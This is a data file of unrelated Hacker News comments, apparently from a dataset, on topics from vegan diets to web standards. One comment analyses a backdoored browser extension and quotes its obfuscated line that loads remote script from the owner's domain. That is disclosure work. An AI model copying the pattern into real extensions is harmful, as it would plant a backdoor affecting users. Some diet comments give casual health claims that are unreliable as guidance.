skysight-inc/HackerNews huggingface dataset:
> My question is: What is the risk of running one of these servers and then visiting some random web page?

It depends on what you're exposing on those ports. If it's something sensitive, stop. Any web page can run javascript and as such, any web page has access to every port and service that your machine has access to ... because at that point, the web page is a program running on your machine with full network access.

However, this entire "vulnerability" makes no sense to me. Even if I'm running something on my machine or local network, I am not going to rely on the firewall as a security mechanism. That is profoundly stupid and is well known to be profoundly stupid. So all those servers, including the ones I am creating and running, will have their own security mechanisms. So you can ping my server? So what?
If you are male be careful of too much iron, you probably get enough from green leafy vegetables...
what is meant by, "users are banned from fixing the extension code locally"? i download and modify other people's extensions all the time.
Can you imagine going down to the river with a washboard and your laundry? No way we have robot washing machines. It would be ridiculous to wash our clothes in the river. Humans will have the same sentiment about many jobs that robots eventually take over. Why stand in front of hot grease cooking fries when a robot can do it? Simply so we can transfer some wealth from one person to another for doing something mindless? But also who will buy the fries if no one has jobs to make any money? Perhaps we will see deflation and the cost of things will be less and perhaps with less work available we can all strive for a 4 hour day. But ultimately I feel we are slowly approaching a post scarcity society. We need to change our views on capitalism if you ask me. Yes people deserve to make money but I think we can shift some services always from always trying to make a buck off someone.
This is something different.

Every company uses agencies for all sorts of things: recruiting, marketing etc..

But when you bring people in house, if they're working 'in' your company ... then almost universally they are 'employees'.

These are not 'security guards' or 'cleaners' who exist almost outside the scope of the work, they're very much within it.

If you're in HR at a bank on Wall Street, doing 'recruiting' - odds are you work for the company, not a contractor.
Fair play to them

It seems they really did their homework and tried pushing it as well as they could, with new techniques and studies.

The chances of success were slim, but the chances of having missed something 30 years ago were also non-negligible

And even if your main experiment failed, if you could still take out some new techniques and knowledge from it, the better it is
Wow, is that all? Half my 2000 qnd earlier cars got/get that kind of MPG, as does my ICE only commuter. What is the reason for such poor figures?
I suspect the SE's support is tied to the 6s's, being a small offshoot model released mid-cycle that Apple doesn't care too much about.

So based on that, the 6s was the 2015 phone launch, running iOS 9. Updates in 2016, 2017, 2018, probably 2019, hopefully 2020, probably not 2021.

Last phone they dropped support for was the iPhone 5 in iOS 11. Compatibility list was the same in iOS 12 (with nice performance fixes on older hardware), but 13 is probably the end of the line for the 5s and 6.
The biggest problem in CVS is the lack of integrity checking. A repository can have individual files go bad and have it be non-obvious for some time. Long ago, it was desired to preserve all history for a CVS->Subversion move I was involved with, and it turned out there was corruption that meant that one file could not be accessed before a certain point in the history. We wound up just doing a repository scrape instead.
Better than the typical candy bar. More similar to a serving of dried fruit & nut trail mix.
I tried getting an older friend of mine to use a password manager. After a few hours, we were back to using one password. I'm now convinced that the way forward with the technically unsophisticated is indeed abstinence. Do not bank online, treat the internet as a place where everything you do is public, and deal with threats as they arise. As far as password managers have come, they're still only usable by power users, normal users can be educated to use them, but the truly unsophisticated really should just stay offline. Fear is a far easier sell than mastery.
Which browser gave the JVM the same access as Javascript because it sure wasn't Netscape.
The markup parts of HTML (e.g. the parsing) are pretty frozen and have been for a while. This is the part that can sort of argue it used to be based on SGML (though now it's not, for various reasons).

The "HTML spec" includes a lot of APIs and processing model details that need tweaking as new constraints come up. A good example is that a lot of APIs that involve cross-window access need changes to their specifications in a process-per-origin world; the old spec text assumes everything can always be done synchronously, but that's not actually possible in that world as far as I can tell.

This, and fixing security bugs in the spec that get found from time to time are far from "no good reasons"!

None of the recent HTML spec changes would have affected "wellformedness" of an existing document in the markup sense. They're mostly about fixing spec bugs (in that the spec doesn't match what web sites expect!) in complicated areas like security, navigation, etc.
It pretty much means that nothing is safe on this planet anymore, well, at least nothing that deals with digital world. Yeah biometrics sounds scary, how can they get stolen from a freaking picture you post on social media. But it is still a convenient way, more convenient than passwords. I guess I will keep using them, at least until the world implement the social point system like in China, then biometrics is just another way to track where people are every minute and what are they doing. I would actually say that biometrics is a curse, but a curse we won't get rid off
Unpopular opinion here: Instagram ads are unobtrusive and easy to skip quickly.

Being unwilling to pay for a platform and simultaneously being unwilling to be shown any advertisements is unsustainable.

In the US, Facebook's revenue is $25 per user per quarter. That's $100 a year. Are you willing to pay the same or more than that just for access to their products?

YouTube Premium actually is a great example of how much that pricing ends up being: $11.99 a month.
I like to think I have an open mind, but this line of reasoning is a non-starter for me. Releasing chemicals upon damage is a far cry (no pun intended) from the anguish and pain a sentient creature is obviously capable of. Plants just do not have the necessary information processing facilities to allow them to suffer. But hell, supposing they did, what could we even do about it? Are we supposed to switch to some sort of enzyme slurry diet produced by nano-machines? I don't even...
> Why can't they just carry on charging people like they used to

They believe they can earn more from ads than they can from paying subscribers.
> But wouldn't it be true then to say that he is no psychopath and a brain scan is insufficient for diagnosis?

That question can't be answered without buttoning down the term. Generally diagnostic manuals don't recognise such a condition without actualized anti-social behaviour.
They should do polywell fusors next.
EDIT: apparently I misunderstood the problem with Canada. This comment make less sense for this particular context. I still endorse the general point.

having labels in a language people can understand is not bureaucracy. Bureaucracy would be having to compile every document in both languages.

A problem with multiple national languages (I have small experience of this living on the border between Germany and France and medium-short permanence in Benelux) is that if you have to write everything in two/three languages there is no space left for English to accommodate tourists.

On the other hand, if there is already an translation infrastructure it can maybe be adapted to one more language more easily....
Why are your messages large?
Messages should just be signalling events, like follows:

OrderCreated(order_id=23)

UserLoggedIn(user_id=342)

etc.

I guess you are sending the whole user object over the event bus? Isnt that an anti-pattern?
> On a side note: Should he have been able to see whose results he was looking at? It's surely unethical in my book.

They were specifically ones from his own family, so I imagine he had consent.
Prevent staging environments from getting indexed by search engines
But that's kind of the point, we had to do a lot of things that just "worked" because we didn't have the tool that were considered standard in almost any other GUI toolkit.
Musk and Stark are coroutines...
While LENR and CANR research has seen a significant amount of charlatans, there's a large body of papers available and there's yearly meetings. More details here:
https://lenr-canr.org/

I've yet to make up my mind about 'cold fusion' but since there are interesting results and research is still being funded, there's clearly something we don't understand yet.
Older and Wiser? How Management Style Varies with Age
Staging environments are often insufficiently protected, meaning they can be accessed by both search engines (sometimes even indexed) and third-parties.

There's no need for that, it's easy to lock staging environments down. I scored all methods that can help with this for:
- User-friendliness: the degree to which the method doesn’t add extra inconvenience.
- Third-party access: the degree to which the method prevents third parties from accessing an environment.
- SEO-friendliness: the degree to which the method keeps search engines from indexing an environment.
- Monitoring-friendliness: the degree to which the method lets you monitor the protected environments for SEO purposes.
- Risk of human error: the degree to which the method may lead to human errors, impacting SEO.

I hope this is useful for the HN community, and that it prevents a few more staging environments from getting indexed/accessed.
I don't see how getting enough protein on a vegan diet would be a problem, especially when you mention plant-based protein powder. I think healthy calories may be an issue if you don't include nuts and seeds, but as long as you cover your energy needs from vegetable sources you get enough protein and enough of all essential amino acids. You didn't mention this, but protein combination is a myth, and only very few vegetable sources lack certain amino acids. So does some animal sources as well, but that is almost never reported.

You didn't mention this either, but if you want to avoid protein powder, it may be harder to find lean protein sources. I just looked up nuts (peanuts specifically), that have 27% protein but also 51% fat. Chicken breast also has 27% protein, but only 8.7% fat.

I'm not a body builder and haven't investigated how to go about it in detail as a vegan though the full cycle of bulking and shredding, but if you just want to gain strength getting enough calories and protein shouldn't be a problem. I've also read that most body-building magazines completely overestimate how much protein you need, citing numbers four times what sports science says.

You have first-hand experience in this situation and I'm clearly speculating, but perhaps you didn't get enough calories rather than enough protein? Of course it all depends on what you're eating. When some people say vegan food, they mean raw food or mainly vegetables, while others include a lot more legumes, nuts, and seeds.
> UK-based chip designer ARM

Not for quite some time now!
I'm mostly for the health and environmental impact, but the ethical side I think has validity too.

Plants have but a resemblance of a nervous system if any, and they don't have a brain.

Does anyone really think that slitting the throat of a cow can be compared to harvesting corn?

I think the ethical argument has a good ground. If it's not necessary at all to have good health to engage in slitting animal throats, shooting male calves at birth for milk, grinding male chicks alive etc. then why keep doing it?

Especially with the impact on climate change of most crops that are mostly meant to feed livestock, the methane produced, the excrements produced, plus it's linked to all sorts of diseases.

So to me, the ethical aspect more than the lives of animals is also about the lives of humans. This abuse of the environment and this diet is causing disease and climate change which is impactful for humans as well.
Very nice catch. I examined a little bit more. Seems like line 16 on scripts/yts.js is the backdoor.

enableButton.src = '//remove' + '.' + 'video/webm';

So owner of this addon have remove.video domain. On https://remove.video/webm there's a packed javascript code. When I unpacked it I got this: https://paste.ubuntu.com/p/C24bZc9Cn7/

There's a base64 encoded domain list in packed javascript code. Here's the list of domains: https://paste.ubuntu.com/p/RMKd8Ms5QQ/
The traditional Indian (largely vegetarian) diets rely heavily on seasonal vegetables, grains (wheat, rice, millets), and legumes. Indian cuisines are such a varied lot that you're likely to find one you enjoy.

In respect to your concern for B12, an Indian Medical Council study from a few years ago found very few cases of clinical B12 deficiency in the country. This, despite the average Indian diet being deficient for B12 by European & American standards. It was one of the reasons for reducing the suggested daily intake for Indians to 1 mg, as recommended by the WHO, substantially lower than in Europe or the US.
I Still Love Tech
My wife and I tried Signal in the past and ran into situations where messages were lost or sometimes delayed by hours, some showing up well after other messages were, making conversations occasionally very frustrating.

Messaging apps are definitely one of those situations where I expect things to work all of the time, not just most of the time.
This a very cool concept. Its a bit rough around the edges, but I see the potential.

I do have a question, did you build this yourself or do you have a team? Also, is there a link where we can try out the app?
The biggest concrete impact, in my opinion, will be the removal of confusion in the web developer community around where things are specified. Currently W3C forks (https://wiki.whatwg.org/wiki/Fork_tracking) are often linked to as authoritative, or misleading show up in Google search results higher than the document they are forked from.

Per the Memorandum of Understanding at https://www.w3.org/2019/04/WHATWG-W3C-MOU.html#transition, after the W3C first marks a WHATWG Review Draft as a W3C Recommendation, all the forks will be marked as "Superceded" with redirects to the WHATWG originals.
You'll have to show me if I visit you in Paris ;)
I asked Nena if she'd ventured down there while she lived in Paris but she had only been top the ones open to the general public.
If everyone piles into the same asset, wouldn't that asset be overbought?
State schools are like the Fed. The inflation won't stop because it benefits those who run the show.

Just yesterday I saw the news that even Oxford is dumbing down its policies. Way to go!
The disagreement is not whether it helps at all but how small the extent is. That is why I phrased this in terms of 1000 houses, but I should have expanded on this more.

Say 200 people in the expensive houses move to even more expensive houses. Now only 50 families/couples are in the the life circumstances (marriage, promotion, inheritance...) to move form $250k at $650k+.

How does this effect people in the $200k houses? On average for each new expensive house 0.25 affordable houses opened up. Furthermore, since the expensive houses are about three times more expensive, per million invested we only got 0.25/3=0.08 of the value of investing into cheap houses.

So, it does help*0.08, which in discussion gets rounded down to "does not help at all". Admittedly, the discussion suffers due to this. So my criticism would perhaps be more accurately stated as that your last sentence should be

Therefore the $800k luxury home has created a quarter of a new $200k home, which is a bad deal.

In short: Unless you have a housing supply that matches the demand and assume additional constraints on the demand curve
you lose quite a bit due mismatch/discontinuity/ lack of liquidity. For that reason adding expensive housing is a very ineffective option to help the masses of people looking for affordable housing.
I stopped eating meat ~4 years ago, but still eat eggs and a limited amount of dairy. I occasionally eat fish when abroad or when there's no other healthy option (maybe it happens once every month or two). I haven't seen any impact on my health and I exercise regularly.

Apart from the obvious cruelty / environmental impact etc... What I like about being vegetarian (or mostly veggie) is that I started to eat a lot of different food, a lot of ingredients I would have never touched before. Constraints drive creativity and it's true in the kitchen too.

In a world of food abundance, I enjoy the restrictions of a self-imposed diet. Having those rules helps me eat healthy food.
I remember this pretty clearly. I always liked the $0.99 per year model because it was pure and simple. However, it was a three way decision with Mark for it, Jan somewhat on the fence, and me against. The primary argument being that payment was artificially hindering growth. Frankly, our growth was just fine at the time. History tells us how the decision landed.
Somehow this is not a problem in Indian rice.
Then you've never been an athlete at a high level. I don't mean that negatively, but I can assure you that even people who love every second of what they do, like many professional and even college athletes, can suffer burnout. Exhaustion and stress can cause burnout in anybody.
This is a good point. asyncio backends now partially take an initializer function because calling await at importing time is a kind of non-sense.

I think it needs to take also a client-configuration or a client initializer. Any advice from your use case?
Then that's not an Agile process. That sounds more like mini-waterfall.

It's perfectly possible to deliver small units of work weekly. One still gets frameworks while doing that. It's just that the work of making the framework happens over time, not up front. Which is good, because good designs are based on good information, and the beginning of the project is when you have the least information.
> My personal opinion on this is to stop feeding the monopoly and refuse to use anything other than basic HTML for static content sites.

That's not going to work for one simple reason: despite HN's obsession with plain HTML/CSS, these new standards _are_ actually useful. They're being created with the express purpose of solving practical problems that developers, site operators, and users are experiencing in the real world. Those stakeholders aren't going to just ignore a practical solution to their problem over some esoteric concerns about "feeding the monopoly".

I share your concerns about the proliferation of web standards making it difficult for browser vendors to compete, but if the only alternative you can offer is stagnation I think it's completely unsurprising that your concerns go unheeded.
Yeah - if necessary you can use something like uWSGIs caching interface (https://uwsgi-docs.readthedocs.io/en/latest/Caching.html). For most of these sorts of things you'll typically be fine caching the object in question once per process though, because the processes are still persistent. If you truly need shared memory between processes (rather than just an in-memory version of an object used for a lot of requests) there's other options, and it's infrequent that you need something that's shared between request processes but is not shared between other web servers.
I agree. That's why I have become a much bigger champion for non-profit businesses.
> Though grades have always been lower in science, technology, engineering, and math (STEM) subjects than in the arts and humanities, graduating from a good school with a degree in any major did not use to be a cakewalk. Average GPAs have risen by a full point or more since the late 1960s. Collegeinflation.com shows that at Michigan State, for example, the percentage of As doubled to about 30 percent of all grades from 1963 to 1973 and then rose again by about 50 percent from 1983 to 2013. This is consistent with other research on the widespread change in grading standards nationwide.

To be fair, during that same time we have seen an increase in IQ to match[1]. In part this is attributed to better education, better nutrition and possibly the most important removing lead from toys. It's quite possible, that school is just as hard as it used to be, it's just we are smarter.

That doesn't mean we shouldn't make school more difficult to match OR potentially graduate individuals quicker.

[1] https://www.123test.com/flynn-effect/
That's always been the theory underpinning a liberal education, that it teaches its students to think and reason for themselves. Of course, the distance between theory and practice is something else.
> Sometimes it’s difficult to do free-form text manipulation in Latex, which means solving the problem in other ways.

Pollen supports LaTeX as a backend, so that's a way to consider.
Personally, I had a go with Firefox (desktop and Android) again when they were making all the fuss about quantum, but it was still much slower than chrome for my workload - I regularly ran into common tasks that took >50% longer. Combine that with the fact that some websites work less well in FF and I just couldn't face it, however much I'd like to support them.
Gonna write more on this but short answer is that developers time isn't free. If using React SPHO saves literally one hour in all the time you're using it (could be years) vs these other alternatives then you're already ahead.

And I tried to design it so that it saves you and your team a lot more than an hour.
I’ve definitely seen the tiered system you’re describing. For example, contractors aren’t given the same training or professional development opportunities as FTEs. But do you know if there are actually legal reasons for this, or is it just pragmatic to give fewer opportunities or privileges to employees you know won’t be around long?
I'm using this extension for it: https://addons.mozilla.org/en-US/firefox/addon/crxviewer/
As someone who was involved in some of the W3C work at the time, it's not clear to what extent they were focused on "security" at all.
>It is still very hard to get into elite schools, but it's not at all difficult to graduate.

I can't say for all degrees at all elite schools, but in the elite CS program I attended, I worked much harder than I ever did before attending, and much harder than I ever did after graduating.

In the weeks immediately following graduation I used to feel guilt if I would spend over an hour on something fun, like a movie or a video game, because over the course of my degree I had conditioned myself to spend every waking moment working.
Some grade inflation comes down to faculty that have become increasingly apathetic. When I was a TA in Canada 11 years ago the professor(s) that ran that class became so frustrated with students who needed a bump of X% (usually in the range of 3-10%) to keep their GPA average for medical school applications. One of the profs confided in me that he just gives them what they ask otherwise the students would waste a tremendous amount of the profs time going through assignments and exams to try to argue for extra marks.
Trade Fight, Curbs on Huawei Threaten 5G Growth in U.S.
agreed. Half of the stuff I was taught was years out of date, and while interesting from a historical perspective, was not useful to me other than during the exam. Waste of time and money really.
Some BSD systems won't have lsof out of the box, in which case fstat/netstat will give you the results you want.